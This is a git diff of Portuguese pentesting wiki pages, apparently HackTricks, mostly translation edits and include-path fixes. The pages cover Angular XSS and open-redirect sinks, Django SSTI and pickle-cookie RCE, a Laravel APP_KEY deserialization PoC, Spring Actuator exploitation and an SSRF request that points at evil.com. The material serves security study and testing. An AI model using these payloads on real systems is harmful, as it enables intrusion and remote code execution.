daqui](https://lsgeurope.com/post/angular-security-checklist). +Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). * [ ] Angular é considerado um framework do lado do cliente e não se espera que forneça proteção do lado do servidor * [ ] Sourcemap para scripts está desativado na configuração do projeto @@ -14,11 +14,11 @@ Checklist [a partir daqui](https://lsgeurope.com/post/angular-security-checklist * [ ] Métodos `BypassSecurity*` não são usados com entrada não confiável * [ ] A entrada de usuário não confiável não é passada para classes Angular como `ElementRef`, `Renderer2` e `Document`, ou outros sinks JQuery/DOM -## O que é Angular +## What is Angular -Angular é um **poderoso** e **open-source** framework de front-end mantido pelo **Google**. Ele usa **TypeScript** para melhorar a legibilidade do código e a depuração. Com mecanismos de segurança robustos, Angular previne vulnerabilidades comuns do lado do cliente, como **XSS** e **redirecionamentos abertos**. Ele também pode ser usado do **lado do servidor**, tornando as considerações de segurança importantes de **ambos os lados**. +Angular é um **poderoso** e **open-source** framework de front-end mantido pelo **Google**. Ele usa **TypeScript** para melhorar a legibilidade do código e a depuração. Com mecanismos de segurança robustos, Angular previne vulnerabilidades comuns do lado do cliente, como **XSS** e **redirecionamentos abertos**. Ele também pode ser usado do **lado do servidor**, tornando as considerações de segurança importantes de **ambos os ângulos**. -## Arquitetura do framework +## Framework architecture Para entender melhor os conceitos básicos do Angular, vamos passar por seus conceitos essenciais. @@ -74,7 +74,7 @@ Podemos classificar o binding pelo fluxo de dados: * Alvo de visualização para fonte de dados (inclui _eventos_); pode ser aplicado usando `()` no template; * Bidirecional; pode ser aplicado usando `[()]` no template. -O binding pode ser chamado em propriedades, eventos e atributos, bem como em qualquer membro público de uma diretiva fonte: +O binding pode ser chamado em propriedades, eventos e atributos, bem como em qualquer membro público de uma diretiva de origem: | TIPO | ALVO | EXEMPLOS | | --------- | ------------------------------------------------------- | -------------------------------------------------------------------- | @@ -218,7 +218,7 @@ test = "

test

"; #### Renderização do Lado do Cliente (CSR) -Angular aproveita templates para construir páginas dinamicamente. A abordagem envolve encapsular expressões de template para o Angular avaliar dentro de colchetes duplos (`{{}}`). Dessa forma, o framework oferece funcionalidade adicional. Por exemplo, um template como `{{1+1}}` seria exibido como 2. +Angular utiliza templates para construir páginas dinamicamente. A abordagem envolve encapsular expressões de template para o Angular avaliar dentro de chaves duplas (`{{}}`). Dessa forma, o framework oferece funcionalidade adicional. Por exemplo, um template como `{{1+1}}` seria exibido como 2. Normalmente, o Angular escapa a entrada do usuário que pode ser confundida com expressões de template (por exemplo, caracteres como \`< > ' " \`\`). Isso significa que etapas adicionais são necessárias para contornar essa restrição, como utilizar funções que geram objetos de string JavaScript para evitar o uso de caracteres na lista negra. No entanto, para alcançar isso, devemos considerar o contexto do Angular, suas propriedades e variáveis. Portanto, um ataque de injeção de template pode aparecer da seguinte forma: ```jsx @@ -235,7 +235,7 @@ Como mostrado acima: `constructor` refere-se ao escopo da propriedade `construct Ao contrário do CSR, que ocorre no DOM do navegador, o Angular Universal é responsável pela SSR de arquivos de template. Esses arquivos são então entregues ao usuário. Apesar dessa distinção, o Angular Universal aplica os mesmos mecanismos de sanitização usados no CSR para melhorar a segurança da SSR. Uma vulnerabilidade de injeção de template na SSR pode ser identificada da mesma forma que no CSR, porque a linguagem de template utilizada é a mesma. -Claro, também há a possibilidade de introduzir novas vulnerabilidades de injeção de template ao empregar motores de template de terceiros, como Pug e Handlebars. +Claro, também existe a possibilidade de introduzir novas vulnerabilidades de injeção de template ao empregar motores de template de terceiros, como Pug e Handlebars. ### XSS @@ -343,7 +343,7 @@ this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)'); //app.component.html - + ``` * Para definir a propriedade de um elemento DOM, você pode usar o método `Renderer2.setProperty()` e acionar um ataque XSS: @@ -370,10 +370,10 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', ' - + ``` -Durante nossa pesquisa, também examinamos o comportamento de outros métodos `Renderer2`, como `setStyle()`, `createComment()` e `setValue()`, em relação a injeções XSS e CSS. No entanto, não conseguimos encontrar vetores de ataque válidos para esses métodos devido às suas limitações funcionais. +Durante nossa pesquisa, também examinamos o comportamento de outros métodos `Renderer2`, como `setStyle()`, `createComment()`, e `setValue()`, em relação a injeções XSS e CSS. No entanto, não conseguimos encontrar vetores de ataque válidos para esses métodos devido às suas limitações funcionais. #### jQuery @@ -403,8 +403,8 @@ $("p").html(""); } //app.component.html - -

algum texto aqui

+ +

some text here

``` * O método `jQuery.parseHTML()` usa métodos nativos para converter a string em um conjunto de nós DOM, que podem ser inseridos no documento. @@ -440,15 +440,15 @@ $palias.append(html); } //app.component.html - -

algum texto

+ +

some text

``` ### Redirecionamentos abertos #### Interfaces DOM -De acordo com a documentação do W3C, os objetos `window.location` e `document.location` são tratados como aliases em navegadores modernos. É por isso que eles têm implementação semelhante de alguns métodos e propriedades, o que pode causar um redirecionamento aberto e XSS DOM com ataques de esquema `javascript://`, conforme mencionado abaixo. +De acordo com a documentação do W3C, os objetos `window.location` e `document.location` são tratados como aliases em navegadores modernos. É por isso que eles têm implementações semelhantes de alguns métodos e propriedades, o que pode causar um redirecionamento aberto e XSS DOM com ataques de esquema `javascript://`, conforme mencionado abaixo. * `window.location.href`(e `document.location.href`) @@ -464,13 +464,13 @@ window.location.href = "https://google.com/about" } //app.component.html - + ``` O processo de exploração é idêntico para os seguintes cenários. * `window.location.assign()`(e `document.location.assign()`) -Este método faz com que a janela carregue e exiba o documento na URL especificada. Se tivermos controle sobre este método, ele pode ser um ponto de ataque para um redirecionamento aberto. +Este método faz com que a janela carregue e exiba o documento na URL especificada. Se tivermos controle sobre este método, ele pode ser um ponto de entrada para um ataque de redirecionamento aberto. ```tsx //app.component.ts @@ -512,7 +512,7 @@ window.open("https://google.com/about", "_blank") #### Classes Angular -* De acordo com a documentação do Angular, o `Document` do Angular é o mesmo que o documento DOM, o que significa que é possível usar vetores comuns para o documento DOM para explorar vulnerabilidades do lado do cliente no Angular. As propriedades e métodos `Document.location` podem ser pontos de ataque para redirecionamentos abertos bem-sucedidos, como mostrado no exemplo: +* De acordo com a documentação do Angular, o `Document` do Angular é o mesmo que o documento DOM, o que significa que é possível usar vetores comuns para o documento DOM para explorar vulnerabilidades do lado do cliente no Angular. As propriedades e métodos `Document.location` podem ser pontos de entrada para ataques de redirecionamento aberto, como mostrado no exemplo: ```tsx //app.component.ts @@ -533,9 +533,9 @@ this.document.location.href = 'https://google.com/about'; } //app.component.html - + ``` -* Durante a fase de pesquisa, também revisamos a classe `Location` do Angular em busca de vulnerabilidades de redirecionamento aberto, mas nenhum vetor válido foi encontrado. `Location` é um serviço Angular que os aplicativos podem usar para interagir com a URL atual do navegador. Este serviço possui vários métodos para manipular a URL dada - `go()`, `replaceState()` e `prepareExternalUrl()`. No entanto, não podemos usá-los para redirecionar para um domínio externo. Por exemplo: +* Durante a fase de pesquisa, também revisamos a classe `Location` do Angular em busca de vulnerabilidades de redirecionamento aberto, mas nenhum vetor válido foi encontrado. `Location` é um serviço Angular que os aplicativos podem usar para interagir com a URL atual do navegador. Este serviço possui vários métodos para manipular a URL dada - `go()`, `replaceState()`, e `prepareExternalUrl()`. No entanto, não podemos usá-los para redirecionar para um domínio externo. Por exemplo: ```tsx //app.component.ts @@ -560,7 +560,7 @@ console.log(this.location.go("http://google.com/about")); ``` Resultado: `http://localhost:4200/http://google.com/about` -* A classe `Router` do Angular é usada principalmente para navegar dentro do mesmo domínio e não introduz vulnerabilidades adicionais ao aplicativo: +* A classe `Router` do Angular é usada principalmente para navegação dentro do mesmo domínio e não introduz vulnerabilidades adicionais ao aplicativo: ```jsx //app-routing.module.ts @@ -606,4 +606,4 @@ this.router.navigateByUrl('URL') -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index dc6502003..0f79f645f 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -1,18 +1,18 @@ # Django -{{#include /src/banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Manipulação de Cache para RCE O método de armazenamento de cache padrão do Django é [Python pickles](https://docs.python.org/3/library/pickle.html), que pode levar a RCE se [entrada não confiável for descompactada](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se um atacante conseguir obter acesso de gravação ao cache, ele pode escalar essa vulnerabilidade para RCE no servidor subjacente**. -O cache do Django é armazenado em um dos quatro lugares: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memória](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [arquivos](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ou um [banco de dados](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). O cache armazenado em um servidor Redis ou banco de dados são os vetores de ataque mais prováveis (injeção Redis e injeção SQL), mas um atacante também pode ser capaz de usar o cache baseado em arquivos para transformar uma gravação arbitrária em RCE. Os mantenedores marcaram isso como um não problema. É importante notar que a pasta de arquivos de cache, o nome da tabela SQL e os detalhes do servidor Redis variarão com base na implementação. +O cache do Django é armazenado em um dos quatro lugares: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memória](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [arquivos](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ou um [banco de dados](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). O cache armazenado em um servidor Redis ou banco de dados são os vetores de ataque mais prováveis (injeção Redis e injeção SQL), mas um atacante também pode ser capaz de usar cache baseado em arquivo para transformar uma gravação arbitrária em RCE. Os mantenedores marcaram isso como um não problema. É importante notar que a pasta de arquivos de cache, o nome da tabela SQL e os detalhes do servidor Redis variarão com base na implementação. Este relatório do HackerOne fornece um ótimo exemplo reproduzível de exploração do cache do Django armazenado em um banco de dados SQLite: https://hackerone.com/reports/1415436 --- ## Injeção de Template do Lado do Servidor (SSTI) -A Linguagem de Template do Django (DTL) é **Turing-completa**. Se dados fornecidos pelo usuário forem renderizados como uma *string de template* (por exemplo, chamando `Template(user_input).render()` ou quando `|safe`/`format_html()` remove a auto-escapagem), um atacante pode alcançar SSTI completo → RCE. +A Linguagem de Template do Django (DTL) é **Turing-completa**. Se dados fornecidos pelo usuário forem renderizados como uma *string de template* (por exemplo, chamando `Template(user_input).render()` ou quando `|safe`/`format_html()` remove a auto-escapagem), um atacante pode alcançar SSTI total → RCE. ### Detecção 1. Procure por chamadas dinâmicas para `Template()` / `Engine.from_string()` / `render_to_string()` que incluam *qualquer* dado de solicitação não sanitizado. @@ -33,12 +33,12 @@ Encontre o índice de `subprocess.Popen` (≈400–500 dependendo da versão do ``` Um dispositivo universal mais seguro é iterar até `cls.__name__ == 'Popen'`. -O mesmo dispositivo funciona para recursos de renderização de template do **Debug Toolbar** ou **Django-CMS** que manipulam mal a entrada do usuário. +O mesmo dispositivo funciona para recursos de renderização de **Debug Toolbar** ou **Django-CMS** que manipulam mal a entrada do usuário. --- ## RCE de Cookie de Sessão Baseado em Pickle -Se a configuração `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` estiver habilitada (ou um serializador personalizado que desserializa pickle), o Django *descriptografa e desserializa* o cookie de sessão **antes** de chamar qualquer código de visualização. Portanto, possuir uma chave de assinatura válida (a `SECRET_KEY` do projeto por padrão) é suficiente para execução remota imediata de código. +Se a configuração `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` estiver habilitada (ou um serializador personalizado que desserializa pickle), o Django *descriptografa e desempacota* o cookie de sessão **antes** de chamar qualquer código de visualização. Portanto, possuir uma chave de assinatura válida (a `SECRET_KEY` do projeto por padrão) é suficiente para execução remota imediata de código. ### Requisitos para Exploração * O servidor usa `PickleSerializer`. @@ -65,7 +65,7 @@ Envie o cookie resultante, e o payload é executado com as permissões do trabal --- ## Recentes (2023-2025) CVEs de Alto Impacto do Django que os Pentesters Devem Verificar -* **CVE-2025-48432** – *Injeção de Log via `request.path` não escapado* (corrigido em 4 de junho de 2025). Permite que atacantes introduzam quebras de linha/códigos ANSI em arquivos de log e envenenem a análise de log a jusante. Nível de patch ≥ 4.2.22 / 5.1.10 / 5.2.2. +* **CVE-2025-48432** – *Injeção de Log via `request.path` não escapado* (corrigido em 4 de junho de 2025). Permite que atacantes insiram quebras de linha/códigos ANSI em arquivos de log e envenenem a análise de log a jusante. Nível de patch ≥ 4.2.22 / 5.1.10 / 5.2.2. * **CVE-2024-42005** – *Injeção SQL crítica* em `QuerySet.values()/values_list()` no `JSONField` (CVSS 9.8). Crie chaves JSON para sair da citação e executar SQL arbitrário. Corrigido em 4.2.15 / 5.0.8. Sempre identifique a versão exata do framework via a página de erro `X-Frame-Options` ou o hash de `/static/admin/css/base.css` e teste o acima onde aplicável. @@ -74,6 +74,6 @@ Sempre identifique a versão exata do framework via a página de erro `X-Frame-O ## Referências * Lançamento de segurança do Django – "Django 5.2.2, 5.1.10, 4.2.22 abordam CVE-2025-48432" – 4 de junho de 2025. -* OP-Innovate: "Django lança atualizações de segurança para abordar a falha de injeção SQL CVE-2024-42005" – 11 de agosto de 2024. +* OP-Innovate: "Django lança atualizações de segurança para abordar falha de injeção SQL CVE-2024-42005" – 11 de agosto de 2024. -{{#include /src/banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index feb2f9c7f..7e63a721e 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -1,6 +1,6 @@ # Laravel -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ### Laravel SQLInjection @@ -10,7 +10,7 @@ Leia informações sobre isso aqui: [https://stitcher.io/blog/unsafe-sql-functio ## APP_KEY & Internos de Criptografia (Laravel \u003e=5.6) -Laravel usa AES-256-CBC (ou GCM) com integridade HMAC por trás dos panos (`Illuminate\\Encryption\\Encrypter`). +Laravel usa AES-256-CBC (ou GCM) com integridade HMAC nos bastidores (`Illuminate\\Encryption\\Encrypter`). O texto cifrado bruto que é finalmente **enviado ao cliente** é **Base64 de um objeto JSON** como: ```json { @@ -22,7 +22,7 @@ O texto cifrado bruto que é finalmente **enviado ao cliente** é **Base64 de um ``` `encrypt($value, $serialize=true)` irá `serialize()` o texto simples por padrão, enquanto `decrypt($payload, $unserialize=true)` **irá automaticamente `unserialize()`** o valor decifrado. Portanto, **qualquer atacante que conheça o segredo de 32 bytes `APP_KEY` pode criar um objeto PHP serializado criptografado e obter RCE via métodos mágicos (`__wakeup`, `__destruct`, …)**. -PoC mínima (framework ≥9.x): +Minimal PoC (framework ≥9.x): ```php use Illuminate\Support\Facades\Crypt; @@ -75,7 +75,7 @@ Principais descobertas da pesquisa publicada pela Synacktiv (2024-2025): * >1 000 servidores ainda vulneráveis ao CVE-2018-15133 legado porque os tokens contêm diretamente dados serializados. * Grande reutilização de chaves – as 10 principais APP_KEYs são padrões codificados enviados com templates comerciais do Laravel (UltimatePOS, Invoice Ninja, XPanel, …). -A ferramenta Go privada **nounours** empurra a taxa de tentativa de força bruta AES-CBC/GCM para ~1,5 bilhões de tentativas/s, reduzindo a quebra de conjuntos de dados completos para <2 minutos. +A ferramenta privada Go **nounours** empurra a taxa de tentativa de força bruta AES-CBC/GCM para ~1,5 bilhões de tentativas/s, reduzindo a quebra de conjuntos de dados completos para <2 minutos. --- @@ -85,9 +85,6 @@ A ferramenta Go privada **nounours** empurra a taxa de tentativa de força bruta * [PHPGGC – Cadeias de Gadgets Genéricos PHP](https://github.com/ambionics/phpggc) * [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) -{{#include ../../banners/hacktricks-training.md}} - - ## Truques do Laravel ### Modo de depuração @@ -203,7 +200,7 @@ O texto cifrado bruto que é finalmente **enviado ao cliente** é **Base64 de um ``` `encrypt($value, $serialize=true)` irá `serialize()` o texto simples por padrão, enquanto `decrypt($payload, $unserialize=true)` **irá automaticamente `unserialize()`** o valor decifrado. Portanto, **qualquer atacante que conheça o segredo de 32 bytes `APP_KEY` pode criar um objeto PHP serializado criptografado e obter RCE via métodos mágicos (`__wakeup`, `__destruct`, …)**. -PoC mínima (framework ≥9.x): +Minimal PoC (framework ≥9.x): ```php use Illuminate\Support\Facades\Crypt; @@ -256,7 +253,7 @@ Principais descobertas da pesquisa publicada pela Synacktiv (2024-2025): * >1 000 servidores ainda vulneráveis ao CVE-2018-15133 legado porque os tokens contêm diretamente dados serializados. * Grande reutilização de chaves – as 10 principais APP_KEYs são padrões codificados enviados com templates comerciais do Laravel (UltimatePOS, Invoice Ninja, XPanel, …). -A ferramenta Go privada **nounours** empurra a taxa de tentativa de força bruta AES-CBC/GCM para ~1,5 bilhões de tentativas/s, reduzindo a quebra de conjuntos de dados completos para <2 minutos. +A ferramenta privada Go **nounours** empurra a taxa de tentativa de força bruta AES-CBC/GCM para ~1,5 bilhões de tentativas/s, reduzindo a quebra de conjuntos de dados completos para <2 minutos. --- diff --git a/src/network-services-pentesting/pentesting-web/nodejs-express.md b/src/network-services-pentesting/pentesting-web/nodejs-express.md index 2d16d586e..d21e54a0c 100644 --- a/src/network-services-pentesting/pentesting-web/nodejs-express.md +++ b/src/network-services-pentesting/pentesting-web/nodejs-express.md @@ -1,6 +1,6 @@ # NodeJS Express -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Assinatura de Cookie @@ -28,4 +28,4 @@ Se você souber o segredo, pode assinar o cookie. ```bash cookie-monster -e -f new_cookie.json -k secret ``` -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 56001fefc..38cb8956b 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -8,13 +8,13 @@ **De** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Exploiting Spring Boot Actuators +## Explorando Spring Boot Actuators **Ver o post original em** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] ### **Pontos Chave:** -- Spring Boot Actuators registram endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. Nas versões 1 a 1.4, esses endpoints são acessíveis sem autenticação. A partir da versão 1.5, apenas `/health` e `/info` são não sensíveis por padrão, mas os desenvolvedores frequentemente desativam essa segurança. +- Spring Boot Actuators registram endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. Nas versões de 1 a 1.4, esses endpoints são acessíveis sem autenticação. A partir da versão 1.5, apenas `/health` e `/info` são não sensíveis por padrão, mas os desenvolvedores frequentemente desativam essa segurança. - Certos endpoints do Actuator podem expor dados sensíveis ou permitir ações prejudiciais: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, e `/heapdump`. - No Spring Boot 1.x, os actuators são registrados sob a URL raiz, enquanto no 2.x, eles estão sob o caminho base `/actuator/`. @@ -51,19 +51,14 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ### **Tópicos Relacionados:** 1. **Env + H2 RCE**: -- Detalhes sobre a exploração da combinação do endpoint `/env` e banco de dados H2 podem ser encontrados [aqui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +- Detalhes sobre a exploração da combinação do endpoint `/env` e do banco de dados H2 podem ser encontrados [aqui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). 2. **SSRF no Spring Boot Através da Interpretação Incorreta de Nomes de Caminho**: - O manuseio de parâmetros de matriz (`;`) pelo framework Spring em nomes de caminho HTTP pode ser explorado para Server-Side Request Forgery (SSRF). -- Exemplo de requisição para exploração: +- Exemplo de requisição de exploração: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` {{#include ../../banners/hacktricks-training.md}} - - - - -{{#include /banners/hacktricks-training.md}} diff --git a/src/pentesting-web/dapps-DecentralizedApplications.md b/src/pentesting-web/dapps-DecentralizedApplications.md index f1af3bae1..946117908 100644 --- a/src/pentesting-web/dapps-DecentralizedApplications.md +++ b/src/pentesting-web/dapps-DecentralizedApplications.md @@ -1,6 +1,6 @@ # DApps - Aplicações Descentralizadas -{{#include ../../banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} ## O que é um DApp? @@ -10,19 +10,19 @@ Um DApp é uma aplicação descentralizada que opera em uma rede peer-to-peer, e De acordo com [**este post**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications), existem 3 tipos diferentes de arquitetura de DApps Web3: -### DApps "Sem API" +### DApps "sem API" Esses DApps são construídos sobre uma blockchain e não dependem de APIs ou backend centralizados. Você pode pensar que a blockchain é o verdadeiro backend da aplicação. Eles são **totalmente descentralizados** e podem ser acessados diretamente através da blockchain. Para interagir com a blockchain, o cliente geralmente usará uma **carteira**. A carteira assinará as transações e as enviará para a blockchain. O cliente também pode usar um **nó** para ler dados da blockchain. -### DApps "Habilitados para API" +### DApps "com API" Esses DApps são construídos sobre uma blockchain, mas também dependem de APIs centralizadas, geralmente para coletar informações. Eles são **principalmente descentralizados** porque, mesmo que dependam de uma API centralizada, a funcionalidade principal do DApp ainda está na blockchain. A comunicação do cliente com a blockchain geralmente é feita através de uma **carteira**. Um bom exemplo desse tipo de DApp é um **aplicativo de mintagem de NFT**. O servidor permite o upload das imagens, mas a mintagem é feita pelo cliente através de uma carteira. -### DApps "Em Larga Escala" +### DApps "em larga escala" Esses DApps são construídos sobre uma blockchain, mas também dependem de APIs centralizadas e servidores backend. Eles **podem ser parcialmente descentralizados**, pois o cliente pode ser capaz de realizar operações na blockchain usando uma carteira. No entanto, geralmente o **backend também será capaz de realizar operações na blockchain**. @@ -32,8 +32,8 @@ Um bom exemplo desse tipo de DApp é uma ponte cross-chain onde um componente of As vulnerabilidades do Web2 ainda afetam esse tipo de aplicação, embora seu impacto possa variar: -- As **vulnerabilidades do lado do cliente** têm um impacto aumentado, pois nos DApps Web3 o cliente geralmente é quem **realiza as operações na blockchain** através de uma carteira. Isso significa que ataques como XSS que conseguem executar código JS no lado do cliente ou que alteram o conteúdo da página podem ter um impacto maior, pois podem **interagir com a carteira** e convencer o usuário a realizar operações indesejadas na blockchain. -- Note que geralmente, mesmo nesses tipos de aplicações, o cliente ainda pode revisar as operações antes de assiná-las com a carteira. No entanto, se o atacante conseguir alterar o conteúdo da página, pode convencer o usuário a assinar uma transação que realizará uma operação indesejada na blockchain. +- As **vulnerabilidades do lado do cliente** têm um impacto aumentado, pois nos DApps Web3 o cliente geralmente é quem **realiza as operações na blockchain** através de uma carteira. Isso significa que ataques como XSS que conseguem executar código JS no lado do cliente ou que manipulam o conteúdo da página podem ter um impacto maior, pois podem **interagir com a carteira** e convencer o usuário a realizar operações indesejadas na blockchain. +- Note que, geralmente, mesmo nesses tipos de aplicações, o cliente ainda pode revisar as operações antes de assiná-las com a carteira. No entanto, se o atacante conseguir manipular o conteúdo da página, pode convencer o usuário a assinar uma transação que realizará uma operação indesejada na blockchain. - As **vulnerabilidades do lado do servidor** ainda estão presentes nos DApps que dependem de um servidor backend. O impacto dessas vulnerabilidades dependerá da arquitetura do DApp. No entanto, elas ainda podem ser muito problemáticas, pois um atacante pode encontrar no backend **chaves da empresa** para acessar os fundos de contratos inteligentes ou pode realizar uma tomada de conta que pode permitir que eles roubem fundos ou NFTs dos usuários. Claro, se o DApp não estiver usando um backend ou se o backend usado oferecer apenas dados de cadeia pública ou páginas estáticas, a superfície de ataque do DApp é reduzida. @@ -44,11 +44,11 @@ Mesmo que, em geral, um DApp tenha uma superfície de ataque reduzida, pois vár Pode ser possível agrupar as vulnerabilidades dos DApps web3 nas seguintes categorias: -- **Transações On-Chain Mal Gerenciadas**: APIs de transação mal formatadas ou sem restrições, falta de lógica de espera de resposta e confirmação de bloco, exposição de dados sensíveis e manuseio inadequado de transações falhadas, revertidas ou tipadas internamente que permitem injeções de calldata maliciosas. +- **Transações On-Chain mal gerenciadas**: APIs de transação mal formatadas ou sem restrições, falta de lógica de espera por resposta e confirmação de bloco, exposição de dados sensíveis e manuseio inadequado de transações falhadas, revertidas ou tipadas internamente que permitem injeções de calldata maliciosas. -- **Ataques de Backend Impulsionados por Contratos Inteligentes**: armazenar ou sincronizar dados sensíveis entre contratos e bancos de dados sem validação, emissões de eventos não verificadas ou endereços de contrato, e vulnerabilidades de contrato exploráveis que podem envenenar a lógica do backend. +- **Ataques de Backend impulsionados por Contratos Inteligentes**: armazenar ou sincronizar dados sensíveis entre contratos e bancos de dados sem validação, emissões de eventos não verificadas ou endereços de contratos, e vulnerabilidades exploráveis de contratos que podem envenenar a lógica do backend. -- **Operações de Cripto-Ativos Defeituosas**: processamento incorreto de diferentes tipos de tokens (nativo vs. ERC-20), ignorando precisão decimal, transferências falhadas ou transações internas, e aceitando tokens falsos, deflacionários, de rebase ou propensos a slippage sem validação, permitindo injeções de payload via metadados de token. +- **Operações de Cripto-Ativos com Falhas**: processamento incorreto de diferentes tipos de tokens (nativo vs. ERC-20), ignorando precisão decimal, transferências falhadas ou transações internas, e aceitando tokens falsos, deflacionários, de rebase ou propensos a slippage sem validação, permitindo injeções de payload via metadados de token. Alguns exemplos de [**este post**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications): @@ -56,17 +56,17 @@ Alguns exemplos de [**este post**](https://www.certik.com/resources/blog/web2-me No cenário **`Wasted Crypto in Gas via Unrestricted API`**, o atacante pode forçar o backend a chamar funções de um contrato inteligente que consumirão gás. O atacante, apenas enviando um número de conta ETH e sem limites, forçará o backend a chamar o contrato inteligente para registrá-lo, o que consumirá gás. -### DoS: Tempo de manuseio de transação ruim +### DoS: Tempo de manuseio de transações ruim No cenário **`Poor Transaction Time Handling Leads to DoS`**, é explicado que, como o backend manterá a solicitação HTTP aberta até que uma transação seja realizada, um usuário pode facilmente enviar várias solicitações HTTP para o backend, o que consumirá todos os recursos do backend e levará a um DoS. ### Desincronização Backend<-->Blockchain - Condição de corrida -No cenário **`Poor Transaction Time Handling Leads to Race Condition`**, é explicado que em um jogo era possível para o usuário enviar uma solicitação de retirada para o backend, que enviaria ao usuário suas moedas, mas enquanto a transação ainda estava sendo processada, o usuário conseguiu usar essas moedas para comprar itens no jogo, obtendo-os de graça. +No cenário **`Poor Transaction Time Handling Leads to Race Condition`**, é explicado que em um jogo era possível para o usuário enviar um pedido de retirada para o backend, que enviaria suas moedas, mas enquanto a transação ainda estava sendo processada, o usuário conseguiu usar essas moedas para comprar itens no jogo, obtendo-os de graça. -Outro exemplo poderia ser a capacidade de usar as mesmas moedas para comprar diferentes itens, já que o backend está imediatamente dando o item ao usuário sem esperar que a transação seja confirmada e, portanto, sem esperar que o saldo do usuário na blockchain seja reduzido. +Outro exemplo poderia ser a capacidade de usar as mesmas moedas para comprar diferentes itens, pois o backend imediatamente dá o item ao usuário sem esperar que a transação seja confirmada e, portanto, sem esperar que o saldo do usuário na blockchain seja reduzido. -### Validação de Endereço de Contrato Inteligente +### Validação de endereço de contrato inteligente No cenário **`Bridge Backend Lacks Smart Contract Address Validation`**, é explicado como o backend estava verificando o endereço do contrato inteligente, então era possível para um atacante implantar um contrato inteligente falso, colocar fundos nele, enviar a transação para o backend e o backend pensaria que o usuário enviou fundos para o contrato inteligente real e daria ao usuário os tokens. @@ -77,4 +77,4 @@ No cenário **`Mishandling of Asset Classes`**, é explicado que o backend confu ## Referências - [https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications) -{{#include ../../banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md b/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md index fcb5d2278..00b602d1d 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md @@ -42,9 +42,7 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\ ## Referências - [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) +``` +``` {{#include ../../banners/hacktricks-training.md}} -``` - -``` -{{#include /banners/hacktricks-training.md}} diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index bee69de01..e0b31081b 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece quando um endpoint web ou API divulga ou aceita um identificador controlável pelo usuário que é usado **diretamente** para acessar um objeto interno **sem verificar se o chamador está autorizado** a acessar/modificar esse objeto. A exploração bem-sucedida normalmente permite a escalada de privilégios horizontal ou vertical, como ler 